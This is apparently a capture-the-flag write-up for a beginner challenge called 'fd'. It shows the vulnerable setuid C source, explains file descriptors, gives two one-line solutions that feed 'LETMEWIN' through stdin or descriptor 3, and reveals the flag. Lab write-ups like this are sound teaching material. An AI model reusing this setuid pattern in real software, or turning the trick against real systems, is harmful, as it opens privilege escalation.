Introduction
We are given a setuid binary owned by fd_pwn, and its source code.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
setregid(getegid(), getegid());
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
Based on the user's input, The program reads from the file descriptor whose number is atoi(argv[1]) - 0x1234.
This challenge teaches about the existence of file descriptors and what they are used for.
Solving the challenge
A file descriptor is essentially a number that is mapped in the file descriptor table to a file. That is, you are assigned an open file a unique number. Generally speaking, three of these numbers are reserved, those being 0, 1, and 2.
- 0 is reserved for stdin (user input, e.g. the keyboard)
- 1 is reserved for stdout (program output, e.g. text being displayed on a terminal)
- 2 is reserved for stderr (program error output, e.g. debug info being printed when stderr is redirected to stdout using 2>&1)
This means that if we can make the file descriptor number equal to 0 (stdin), we can type our input directly. An alternative approach would be to create, and open a file (thus creating a file descriptor) with the contents LETMEWIN.
Easiest solution
I decided to go for the more reliable option of using keyboard input using the following command:
echo "LETMEWIN" | ./fd $(python -c "print(0x1234)")
Note that the program expects a decimal input, and python in this case converts 0x1234 to its decimal counterpart, 4660.
Alternative approach
For fun I also tried the alternative approach:
mkdir -p /tmp/tmp
echo "LETMEWIN" > /tmp/tmp/payload
exec 3</tmp/tmp/payload
./fd $(python -c "print(3 + 0x1234)")
In bash, exec 3</tmp/tmp/payload opens the file and attaches it to file descriptor 3 in the current shell process. Because child processes inherit the parent's file descriptors, when we then run ./fd, it already has fd 3 pointing to our payload file. The math 3 + 0x1234 - 0x1234 = 3 then reads exactly from that descriptor.
PS: On this challenge server the sticky bit is set on /tmp, causing echo "LETMEWIN" > /tmp/payload to fail, hence the creation of the tmp folder within tmp.
This gives the flag: Mama! Now_I_understand_what_file_descriptors_are!